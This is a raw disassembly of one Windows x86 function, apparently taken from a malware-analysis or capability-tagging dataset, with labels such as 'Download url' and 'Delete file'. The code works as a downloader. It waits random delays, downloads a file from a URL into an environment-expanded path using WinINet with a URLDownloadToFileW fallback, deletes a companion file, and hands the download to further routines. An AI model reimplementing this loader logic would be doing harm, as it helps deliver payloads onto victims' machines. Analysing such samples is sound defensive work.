Function at 0x410390
Capabilities:
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa44
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 5
add edx, 0x2710
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x411], 0
push 0x208
lea edx, [ebp - 0x830]
push edx
push 0x416c3c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x410]
push edx
call sub.MSVCRT.dll_mbstowcs
add esp, 0xc
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x830]
push edx
push 0x416c4c
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push 0x416c68
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0xa44], eax
cmp dword [ebp - 0xa44], 0
je 0x4105eb
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x410]
push ecx
mov edx, dword [ebp - 0xa44]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0
je 0x4105de
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0xffffffff
je 0x4105d1
push 0x208
push 0
lea ecx, [ebp - 0xa38]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0xa40]
push edx
push 0x207
lea eax, [ebp - 0xa38]
push eax
mov ecx, dword [ebp - 0x624]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x410537
cmp dword [ebp - 0xa40], 0
je 0x410537
push 0
lea edx, [ebp - 0xa3c]
push edx
mov eax, dword [ebp - 0xa40]
push eax
lea ecx, [ebp - 0xa38]
push ecx
mov edx, dword [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4104e4
mov eax, dword [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x620]
push ecx
push 0x416d50
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x620]
push ecx
call fcn.0040fde0
add esp, 4
movzx edx, al
test edx, edx
je 0x4105c4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x620]
push eax
call fcn.00410000
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x4105c2
mov byte [ebp - 0x411], 1
jmp 0x4105d1
lea edx, [ebp - 0x620]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x624]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0xa44]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [ebp - 0x411]
test eax, eax
jne 0x410703
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 5
add edx, 0x2710
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x830]
push edx
push 0x416d78
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
lea ecx, [ebp - 0x620]
push ecx
lea edx, [ebp - 0x410]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x410703
lea eax, [ebp - 0x620]
push eax
push 0x416d94
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x620]
push eax
call fcn.0040fde0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x4106f6
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x620]
push edx
call fcn.00410000
add esp, 4
jmp 0x410703
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esp, ebp
pop ebp
ret